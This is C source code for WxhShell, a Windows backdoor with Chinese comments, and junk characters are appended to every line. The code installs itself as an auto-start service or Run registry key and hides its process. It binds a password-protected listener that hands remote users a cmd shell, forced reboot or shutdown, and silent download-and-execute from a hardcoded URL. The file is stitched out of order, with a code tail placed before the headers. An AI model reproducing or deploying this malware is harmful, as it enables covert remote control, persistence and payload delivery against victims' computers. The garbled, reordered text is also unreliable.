    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ]Ndy12,M  
    if(Boot(SHUTDOWN)) He8]Eb  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); =x?WZMO  
    else { Slo^tqbG  
    closesocket(wsh); Dl~(NLM  
    ExitThread(0); An}RD73!w  
    } qh W]Wd" g  
    break; yQ^,>eh  
    } H9'psv  
  // 获取shell &tbAXU5$  
  case 's': { L[:A Ue  
    CmdShell(wsh); T_s09Wl  
    closesocket(wsh); xC5Pv">  
    ExitThread(0); }; 7I   
    break; "] 2^O  
  } 2Y9u9;ah  
  // 退出  mVS^HQ:  
  case 'x': { #: [F=2@,A  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); |_g7k2oLY  
    CloseIt(wsh); \7h>9}wGf  
    break; lq.]@zlSO  
    } 1D)0\#><  
  // 离开 %H{;wVjK  
  case 'q': { K@:omT  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); z3 ^_C`(F  
    closesocket(wsh); WqM| nX  
    WSACleanup(); ]8"U)fzmc.  
    exit(1); x R$T/]/  
    break; R#YeE`K  
        } 9 iJ$M!  
  } wjH1Ombt  
  } Yh^8 !  
Ri AMW|M"C  
  // 提示信息 kf<c[su  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); NCT:!&  
} &RbP N^  
  } ?zC{T*a  
SmDNN^GR  
  return; w\D !e  
} vw:GNpg'R6  
\K"7U  
// shell模块句柄 ZDL1H3;R  
int CmdShell(SOCKET sock) +w.$"dF!  
{ XUVj<U  
STARTUPINFO si; 31 <0Nw;l  
ZeroMemory(&si,sizeof(si)); S"?fa)~  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; |ssl0/nk  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; F_-xp1|  
PROCESS_INFORMATION ProcessInfo; 8oI|Z=  
char cmdline[]="cmd"; /;}%E  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); J2 )h":2  
  return 0; ?%~^PHgZ|  
} L#'XN H"  
Gt?l 2s  
// 自身启动模式 32HF&P+0%  
int StartFromService(void) .`_iWfK  
{ PW5)") z  
typedef struct Iw.!*0$  
{ |cnps$fk~  
  DWORD ExitStatus; 9.xRDk  
  DWORD PebBaseAddress; #C.  
  DWORD AffinityMask; #Ff8_xhP2  
  DWORD BasePriority; }wp/,\_ >  
  ULONG UniqueProcessId; }ssja,;  
  ULONG InheritedFromUniqueProcessId; ;a>u7rw  
}   PROCESS_BASIC_INFORMATION; W,H8B%e  
KIv_ AMr  
PROCNTQSIP NtQueryInformationProcess; 2ry@<88  
'oY#a9~Z{  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 0fvOA*UP  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; S2\;\?]^~  
%GY'pQz  
  HANDLE             hProcess; -n[(0n3c  
  PROCESS_BASIC_INFORMATION pbi; } )L z%Z  
7$g$p&,VX  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); w1-P6cf  
  if(NULL == hInst ) return 0; eC%Skw  
Cy/VH"G=  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); e Csk\f`  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); U+>M@!=  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); b+:J?MR;}  
.QKyB>s  
  if (!NtQueryInformationProcess) return 0; w< Xwz`O  
JttDRNZAU  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); [PUu9rz#  
  if(!hProcess) return 0; JrY*K|YdW  
9)W &yi  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; OqciZ@#5n  
x>##qYT  
  CloseHandle(hProcess); _ {wP:dI "  
)kI**mI}  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); YI7M%B9Lj  
if(hProcess==NULL) return 0; Mth:V45G|  
ti%RE:*  
HMODULE hMod; %aw.o*@:  
char procName[255]; gELG/6l  
unsigned long cbNeeded; `?N0?;  
m }HaJ  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName));  P33xt~  
=c*l!."0  
  CloseHandle(hProcess); [yk-<}#B  
F{a;=h#@Q  
if(strstr(procName,"services")) return 1; // 以服务启动 t>?tWSNf  
>O24#!9XW  
  return 0; // 注册表启动 0'Ho'wDb  
} , p~1fB-/  
 `ROHB@-  
// 主模块 6uo;4}0  
int StartWxhshell(LPSTR lpCmdLine) n}A!aC  
{ Mhti  
  SOCKET wsl; 300w\9fn&  
BOOL val=TRUE; VSDua.  
  int port=0; 2 HQ3G~U  
  struct sockaddr_in door; LYRpd  
HBOyiIm Q  
  if(wscfg.ws_autoins) Install(); D%yY&q;  
bz#]>RD  
port=atoi(lpCmdLine); =iKl<CqI$E  
cXqYO|3/M  
if(port<=0) port=wscfg.ws_port; C[ mTVxd  
io+V4m  
  WSADATA data; RM `qC  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ]'(D*4  
q {Z#}|km#  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   U3V5Jo r#  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); Su2{nNC>  
  door.sin_family = AF_INET; lh"*$.j-  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); \_8wU' 7  
  door.sin_port = htons(port); <R@,wzK  
oXnaL)Rk  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { u>"0 >U  
closesocket(wsl); 4_=2|2Wz[  
return 1; q iOJ:'@  
} }Rw,4  
E(PBV  
  if(listen(wsl,2) == INVALID_SOCKET) { qtZ? kJ  
closesocket(wsl); DpgTm&}-  
return 1; {jz`K1  
} _5-h\RB)  
  Wxhshell(wsl); R);Hd1G  
  WSACleanup(); , [|aWT%9  
\]u;NbC]  
return 0; O[C4xq  
>SK:b/i  
} 9dhEQ=K{3  
c[,h|~K/_?  
// 以NT服务方式启动 ~_D.&-xUF  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv )  1[SG.  
{ f_jhQ..g<g  
DWORD   status = 0; xmvE*q"9]  
  DWORD   specificError = 0xfffffff; IA@>'O  
XnQR(r)pR2  
  serviceStatus.dwServiceType     = SERVICE_WIN32; h)HEexyRg  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; hF,|()E[  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; pUXoSnIq:  
  serviceStatus.dwWin32ExitCode     = 0; 3T2]V?   
  serviceStatus.dwServiceSpecificExitCode = 0; "0An'7'm  
  serviceStatus.dwCheckPoint       = 0;  oBkhb  
  serviceStatus.dwWaitHint       = 0; Jay"  
qSc-V`*  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); < (xqw<)  
  if (hServiceStatusHandle==0) return; G.rz6o;  
;miif  
status = GetLastError(); _B0(1(M<2  
  if (status!=NO_ERROR) W,<q!<z\t  
{ 6c-/D.M  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; X8$i*#D  
    serviceStatus.dwCheckPoint       = 0; UTD_rQ  
    serviceStatus.dwWaitHint       = 0; l-+=Yk!X  
    serviceStatus.dwWin32ExitCode     = status; h1w({<q*ov  
    serviceStatus.dwServiceSpecificExitCode = specificError; _=Gj J~2n  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); .<"XE7  
    return; Jb QK$[z"  
  } [eX]x  
e&}W#  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; h_%q`y,  
  serviceStatus.dwCheckPoint       = 0; MiT0!6Pg  
  serviceStatus.dwWaitHint       = 0; XQ#K1Z  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); zjpZ] $  
} EwC]%BZP  
>'*%wf[{  
// 处理NT服务事件,比如:启动、停止 )+G"57p  
VOID WINAPI NTServiceHandler(DWORD fdwControl) YB38K(  
{ Xz_WFLq4  
switch(fdwControl) !g@K y$  
{ $DY#04Je\=  
case SERVICE_CONTROL_STOP: X1Yw=t~a  
  serviceStatus.dwWin32ExitCode = 0; 0q}i5%m7  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; vK',!1]y  
  serviceStatus.dwCheckPoint   = 0; I/O3OD  
  serviceStatus.dwWaitHint     = 0; 2S?7j[@%i`  
  { 5h5izA'0'  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); nip6|dN  
  } PCviQ!X  
  return; 8q^}AT<C  
case SERVICE_CONTROL_PAUSE: xfYKUOp/  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; m2PUU/8B/  
  break; my (@~'  
case SERVICE_CONTROL_CONTINUE: d^C@5Pd <  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; [o)K1>>7  
  break; s L^+$Mq6  
case SERVICE_CONTROL_INTERROGATE: d?zSwLsl  
  break; BEDkyz;:  
}; EXDDUqZ5\  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 1djZ5`+  
} `YNzcn0x  
[:8\F#KW  
// 标准应用程序主函数 }]x \ `}o  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) l6  G6H$  
{ F&d!fEHU  
:u>RyKu|&R  
// 获取操作系统版本 CMj =4e  
OsIsNt=GetOsVer(); GA^hev  
GetModuleFileName(NULL,ExeFile,MAX_PATH); FM {f{2j  
3&hR#;,"X  
  // 从命令行安装 sscbf  
  if(strpbrk(lpCmdLine,"iI")) Install(); )|~K&qn`  
[D"6&  
  // 下载执行文件 wvv+~K9jq  
if(wscfg.ws_downexe) { 7^eyO&4z  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) Od!)MQ*,  
  WinExec(wscfg.ws_filenam,SW_HIDE); @ {/)k%U  
} Zxebv# 4  
<V?2;Gy  
if(!OsIsNt) { ..N6]u  
// 如果时win9x,隐藏进程并且设置为注册表启动 8E%LhA.  
HideProc(); \s=r[0tj!  
StartWxhshell(lpCmdLine); cYSn   
} Z RVt2  
else )N.3Q1g-  
  if(StartFromService()) b}! cEJY  
  // 以服务方式启动 S?688  
  StartServiceCtrlDispatcher(DispatchTable); #-L0.z(  
else q5f QTV  
  // 普通方式启动 lp`j3)  
  StartWxhshell(lpCmdLine); ufXWK3~\  
4|x _C-@  
return 0; '2^}de!E  
} ^/n1h g  
a 0SZw  
P(aBJ*((~  
!tq]kKJ3:  
=========================================== w B)y@w4k  
ZF7n]LgSc&  
@76}d  
7y Cf3  
cH_qHXi[G  
bxE~tsM"@Y  
" *7AB0y0k  
ka_m Q<{9  
#include <stdio.h> j2G^sj"|  
#include <string.h> xp|1yud  
#include <windows.h> vu( 5s  
#include <winsock2.h> B- @bU@H  
#include <winsvc.h> JD *HG]  
#include <urlmon.h> gS FZ>v*6  
T@1;Nbz]  
#pragma comment (lib, "Ws2_32.lib") \GEz.Vb  
#pragma comment (lib, "urlmon.lib") OU{c| O  
An_(L*Qz  
#define MAX_USER   100 // 最大客户端连接数 -mO#HZIq  
#define BUF_SOCK   200 // sock buffer k| OM?\  
#define KEY_BUFF   255 // 输入 buffer L&6^(Bn   
b%l H=u  
#define REBOOT     0   // 重启 .>W [  
#define SHUTDOWN   1   // 关机 1uw1(iL+  
eg;r38   
#define DEF_PORT   5000 // 监听端口 Q0xGd(\  
%U{6 `m  
#define REG_LEN     16   // 注册表键长度 "rMfe>;FJ  
#define SVC_LEN     80   // NT服务名长度 2S7 BzZ/  
b_sasZo  
// 从dll定义API k[*9b:~  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); w10~IP  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); QPm[4Fd{G  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); "E+;O,N-  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); Ucv7`W gr  
Sfe[z=7S  
// wxhshell配置信息  3?D, Wu  
struct WSCFG { '/`O*KD]  
  int ws_port;         // 监听端口 4L>8RiiQE;  
  char ws_passstr[REG_LEN]; // 口令 PxYK)n9&  
  int ws_autoins;       // 安装标记, 1=yes 0=no '=nmdqP  
  char ws_regname[REG_LEN]; // 注册表键名 'A|c\sy  
  char ws_svcname[REG_LEN]; // 服务名 igL5nE=n  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 Rir0^XqG  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 l^I? @{W  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ~Bl,_?CBr  
int ws_downexe;       // 下载执行标记, 1=yes 0=no d>u^ 7:  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" & &CrF~  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 _wXT9`|3  
}V ]*FCpQ  
}; L4^/O29  
i\lvxbp  
// default Wxhshell configuration ~ 6=6YP  
struct WSCFG wscfg={DEF_PORT, !{ *yWpZ:  
    "xuhuanlingzhe", 8^EWD3N`  
    1, i'<hT q4  
    "Wxhshell",  0Y!"3bw|  
    "Wxhshell", (}wPu&Is,C  
            "WxhShell Service", t{UVX%b  
    "Wrsky Windows CmdShell Service", Q@}SR%p  
    "Please Input Your Password: ", e!0xh  
  1, 2MB>NM<xO  
  "http://www.wrsky.com/wxhshell.exe", ajkV"~w',|  
  "Wxhshell.exe" 'T^MaLK  
    }; [? "hmSJ  
!Gnm<|.  
// 消息定义模块 $m ;p@#n  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; l`~$cK!  
char *msg_ws_prompt="\n\r? for help\n\r#>"; t>quY$}4  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 41/civX>V  
char *msg_ws_ext="\n\rExit."; @F8NN\  
char *msg_ws_end="\n\rQuit."; Pg.JI:>2Ku  
char *msg_ws_boot="\n\rReboot..."; lZ5-lf4  
char *msg_ws_poff="\n\rShutdown..."; ^XeJZkLEB  
char *msg_ws_down="\n\rSave to "; ^5MM<73  
Z:^<NdKe  
char *msg_ws_err="\n\rErr!"; _3W .:  
char *msg_ws_ok="\n\rOK!"; EwcFxLa!F  
8p829  
char ExeFile[MAX_PATH]; NI"Zocp  
int nUser = 0; o~Hq&C"^}  
HANDLE handles[MAX_USER]; (]sm9PO  
int OsIsNt; 27R4B O  
w*"Ii%iA<  
SERVICE_STATUS       serviceStatus; +Y*4/w[   
SERVICE_STATUS_HANDLE   hServiceStatusHandle; BO}IN#  
!0^4D=dO  
// 函数声明 Q65M(x+oy  
int Install(void); )+v5 H  
int Uninstall(void); O.#R r/+)  
int DownloadFile(char *sURL, SOCKET wsh); |Zn;O6c#L5  
int Boot(int flag); "1""1";  
void HideProc(void); wY8Vc"  
int GetOsVer(void); GZ<@#~1%\  
int Wxhshell(SOCKET wsl); L$a{%]I  
void TalkWithClient(void *cs); u`B/9-K)y  
int CmdShell(SOCKET sock); E_ 30)"]  
int StartFromService(void); A##Q>|>)  
int StartWxhshell(LPSTR lpCmdLine); m; =S]3P*  
b"@-9ke5I  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); nzxHd7NIZ  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); !p ~.Y+  
M`#g>~bI#R  
// 数据结构和表定义 kL s{B  
SERVICE_TABLE_ENTRY DispatchTable[] = %iPIgma  
{ sMAH;'`!Eu  
{wscfg.ws_svcname, NTServiceMain}, &Odrq#o?R  
{NULL, NULL} xP9R d/xa|  
}; IecD41%  
8WLh7[  
// 自我安装 PRYm1Y  
int Install(void) Gyy4)dP  
{ ^4JK4+!Zfq  
  char svExeFile[MAX_PATH]; P5dD&  
  HKEY key; ve a$G~[%6  
  strcpy(svExeFile,ExeFile); ,]qc#KDq-1  
?l[#d7IB  
// 如果是win9x系统,修改注册表设为自启动 [$$R>ELYQ  
if(!OsIsNt) { ;E{@)X..|  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { qc'KQ5w7!  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); MP@}G$O  
  RegCloseKey(key); kyJKai  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { p? +!*BZ  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ZQR)k:k7  
  RegCloseKey(key); A$~H`W<yxB  
  return 0; i+Ne.h  
    } q}'<[Wg  
  } @w%kOX  
} \Rt>U|%  
else { f[`&3+  
~6u|@pnI  
// 如果是NT以上系统,安装为系统服务 ?TDmW8G}J  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); O d6'bO;G  
if (schSCManager!=0) zb~;<:<  
{ T z:,l$  
  SC_HANDLE schService = CreateService .1h\r, #  
  ( 4 y.' O  
  schSCManager, Z5wDf+  
  wscfg.ws_svcname, @d5t%V\  
  wscfg.ws_svcdisp, BVv-1$ U^  
  SERVICE_ALL_ACCESS, o|n+;h  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , V#4oxkm  
  SERVICE_AUTO_START, {R7RBX  
  SERVICE_ERROR_NORMAL, M_?B*QZJI  
  svExeFile, pxbuZ9w2Q  
  NULL, 1_xkGc-z<  
  NULL, 4 q % Gc  
  NULL, u3 +]3!BQ  
  NULL, ok-q9dM  
  NULL J| 46i  
  ); 2c,w 4rK  
  if (schService!=0) Q^Vch(`&P  
  { 2nFr?Y3g,  
  CloseServiceHandle(schService); ( Q&jp!WU  
  CloseServiceHandle(schSCManager); isnpSN"z  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); C{-Dv-<A>  
  strcat(svExeFile,wscfg.ws_svcname); Jn&u u  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { I#F, Mb>:  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); Q &&=:97d  
  RegCloseKey(key); Zic:d-Q47  
  return 0; {poTA+i  
    } m,4'@jg0  
  } uW(Ngcpr  
  CloseServiceHandle(schSCManager); C3<_0eI  
} w(M i?  
} 6!U~dt#a  
E_z,%aD[  
return 1; L'a s^Od  
} je:J`4k$  
 pXNH  
// 自我卸载 =(<7o_gJ  
int Uninstall(void) tQMz1$  
{ A,#z_2~  
  HKEY key; vMXn#eR  
sWq}/!@&  
if(!OsIsNt) { -|czhO)R  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { F9IPA%  
  RegDeleteValue(key,wscfg.ws_regname); $reQdN=~  
  RegCloseKey(key); o}D7 $6  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { !$-QWKD4  
  RegDeleteValue(key,wscfg.ws_regname);  poZ&S  
  RegCloseKey(key); pL.~z  
  return 0; v`jFWq8I,  
  } WK SWOSJ  
} 3\B~`=*q/  
} LKud'  
else { !?B2OE  
@nj`T{*.  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); &4p~i Z  
if (schSCManager!=0) ?G5,x  
{ T< <N U"n  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); YL4yT`*  
  if (schService!=0) ?I.bC   
  { 57N<OQWf  
  if(DeleteService(schService)!=0) { @<1T&X{Z!  
  CloseServiceHandle(schService); ?`SB GN;  
  CloseServiceHandle(schSCManager); y0t-e   
  return 0; x}7Xd P.2$  
  } 0w$1Yx~C  
  CloseServiceHandle(schService); ',Oc +jLR  
  } p AtxEaXh  
  CloseServiceHandle(schSCManager); F xXnX  
} ]`@< I'?,X  
} ;4vx+>-  
gqAN-b'  
return 1; cl'qw##  
} \FIOFbwe  
AIwp2Fz  
// 从指定url下载文件 nlx~yUXL4  
int DownloadFile(char *sURL, SOCKET wsh) VBu6,6  
{ {'zs4)vw  
  HRESULT hr; `$VnB  
char seps[]= "/"; kPp7;U2A  
char *token; &Mh]s\  
char *file; =NL(L  
char myURL[MAX_PATH]; Z@#k ivcpz  
char myFILE[MAX_PATH]; {,o 0N\(  
,NU`aG-  
strcpy(myURL,sURL); u,Cf4H*xS  
  token=strtok(myURL,seps); X gA( D  
  while(token!=NULL) !2g*=oY  
  { #Ic-?2Gn4<  
    file=token; J po(O>\P  
  token=strtok(NULL,seps); WNV}@  
  } Al}%r85  
$C&E3 'O  
GetCurrentDirectory(MAX_PATH,myFILE); D +9l$**a  
strcat(myFILE, "\\"); HS 1zA  
strcat(myFILE, file); c0:`+>p2  
  send(wsh,myFILE,strlen(myFILE),0); ,S=ur%  
send(wsh,"...",3,0); -xU4s  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); E$E #c8I:  
  if(hr==S_OK) hdH}4W  
return 0; ;XGO@*V5T  
else *Ag,/Cm]  
return 1; (%iCP/E3  
,9~2#[|lq  
} %pImCpMR  
[#C(^J*@c  
// 系统电源模块 xEqr3(  
int Boot(int flag) 6^"Spf]  
{ \zyvu7YA  
  HANDLE hToken; 7,EdJ[CR$  
  TOKEN_PRIVILEGES tkp; O3["5  
9g`o+U{  
  if(OsIsNt) { Xg1QF^  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); UrEfFtH'  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); _tQR3I5  
    tkp.PrivilegeCount = 1; P jh3=Dr  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 0ZJt  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); F>s5<pKAX  
if(flag==REBOOT) { ^;a~_9 m-  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) #>dj!33  
  return 0; RD0=\!w*5  
} ) i=.x+Q  
else { ]}0QrD  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) aLt2fB1)  
  return 0; C0%yGLh&  
} 'yR)z\)  
  } p5\B0G<m  
  else { &-hXk!A  
if(flag==REBOOT) { I7e.p m  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) NNP ut$.  
  return 0; 8t >nL  
} 5l4YYwd>v  
else { ~X!Z+Vg  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) %+HZ4M+hV  
  return 0; b .|k j  
} 0Tq=nYZA  
} kqQT^6S   
jcL%_of  
return 1; D,P{ ,/  
} &r)[6a$fW  
FE,BvNBZ  
// win9x进程隐藏模块 omzG/)M:O  
void HideProc(void) pq$-s7#  
{ y$[:Kh,  
dpSNh1  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); liU8OXBl  
  if ( hKernel != NULL ) Wmc@: (n  
  { 3>QkO.b  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 7]H<ou  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); M`) /^S9  
    FreeLibrary(hKernel); _9:r4|S  
  } 7BkY0_KK  
cp$GP*{@  
return; z}w7X6&e  
} 1V.oR`&2E  
Yhte&,D"  
// 获取操作系统版本 f9D01R fo  
int GetOsVer(void) @L$!hTaP  
{ oju,2kpH7#  
  OSVERSIONINFO winfo; -}(2}~{e(  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); "fu:hHq  
  GetVersionEx(&winfo); .F},Z[a&  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) f~ wgMp.W0  
  return 1; nO+R >8,Q  
  else -nXlW  
  return 0; Xz`0nU  
} zf;sdQ;4  
l"-Z#[  
// 客户端句柄模块 EKus0"|  
int Wxhshell(SOCKET wsl) ! k 1 Ge+  
{ JED\"(d(  
  SOCKET wsh; LU/;` In  
  struct sockaddr_in client; 5]xSK'6W  
  DWORD myID; R.!.7dO  
"+E\os72|  
  while(nUser<MAX_USER) _\na9T~g  
{ pX+4B=*  
  int nSize=sizeof(client); dXfLN<nD>U  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 0SDnMij&bf  
  if(wsh==INVALID_SOCKET) return 1; *3)kr=x  
(x fN=Te,-  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); M|NQoQ8q  
if(handles[nUser]==0) k%BU&%?1  
  closesocket(wsh); Y_K W9T_  
else d f!i}L  
  nUser++; u*/+cT  
  } P V:J>!]  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); H@1}_d  
stUUez>  
  return 0; Re&"Q8I.8  
} SL-;h#-y 4  
G[1\5dK*uR  
// 关闭 socket bf|ePGW?  
void CloseIt(SOCKET wsh) Uo71C4ev  
{ yM~bUmSg  
closesocket(wsh); ,J8n}7aI  
nUser--; <z\`Ma  
ExitThread(0); J\P6  
} }B a_epM  
z_N";Rn  
// 客户端请求句柄 &O^-,n  
void TalkWithClient(void *cs) 7B)1U_L0H  
{ X'-Yz7J?o  
1X&.po  
  SOCKET wsh=(SOCKET)cs; SiUu**zC  
  char pwd[SVC_LEN]; P#7=h:.522  
  char cmd[KEY_BUFF]; [q_+s  
char chr[1]; /-,\$@J5)  
int i,j; I}m20|vv  
FF~r&h8H  
  while (nUser < MAX_USER) { BjeD4  
@0 /qP<E  
if(wscfg.ws_passstr) { ?:ZB'G{%E  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); w7o`B R  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); vj]>X4'i  
  //ZeroMemory(pwd,KEY_BUFF); h='F,r5#2  
      i=0; yji[Yde;|  
  while(i<SVC_LEN) { tKeTHj;jO  
"J`&"_CyZ  
  // 设置超时 0'fswa)  
  fd_set FdRead; 0=#>w_B  
  struct timeval TimeOut; RGE(#   
  FD_ZERO(&FdRead); ]Ob|!L(  
  FD_SET(wsh,&FdRead); &8z<~q  
  TimeOut.tv_sec=8; "GZi eI D  
  TimeOut.tv_usec=0; 6:O<k2=2  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ANy*'/f  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); #5Z`Q^  
acR|X@ \3  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); {@^;Nw%J  
  pwd=chr[0]; %^pi  
  if(chr[0]==0xd || chr[0]==0xa) { yGf7k>K'  
  pwd=0; j 0pI  
  break; E5d$n*A  
  } wOl?(w=|  
  i++; :Ko6.|  
    } \ph.c*c  
4 "HX1qP  
  // 如果是非法用户,关闭 socket A913*O: \  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); Ve3z5d:^  
} !qj[$x-ns  
*[3xc*5F/A  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); Aw |;C  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); rtRbr_  
b}3"v(  
while(1) { pn gto  
`za,sRFR  
  ZeroMemory(cmd,KEY_BUFF); $/++afi m  
t'v t'[~,U  
      // 自动支持客户端 telnet标准   '7-Yo Q  
  j=0; :oP LluW*  
  while(j<KEY_BUFF) { Nr4:Gih  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 4hL%J=0:  
  cmd[j]=chr[0]; XH"+oW  
  if(chr[0]==0xa || chr[0]==0xd) { '4[=*!hs!  
  cmd[j]=0; CWn\K R  
  break; O1J&Lwpk,  
  } _h~ksNm5u  
  j++; Q+ ^ &  
    } $*fJKR_N  
elOeXYO0  
  // 下载文件 9=%zdz2_S  
  if(strstr(cmd,"http://")) { n qcq3o*B  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); <v:VA!]  
  if(DownloadFile(cmd,wsh)) G*fo9eu5$  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); r~t`H*C)}  
  else 9-KhJq%  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); P[nc8z[  
  } jFj11w1FrA  
  else { UN]gn>~j  
M"~jNe|  
    switch(cmd[0]) { !eLj + 0  
  9%/hoA)  
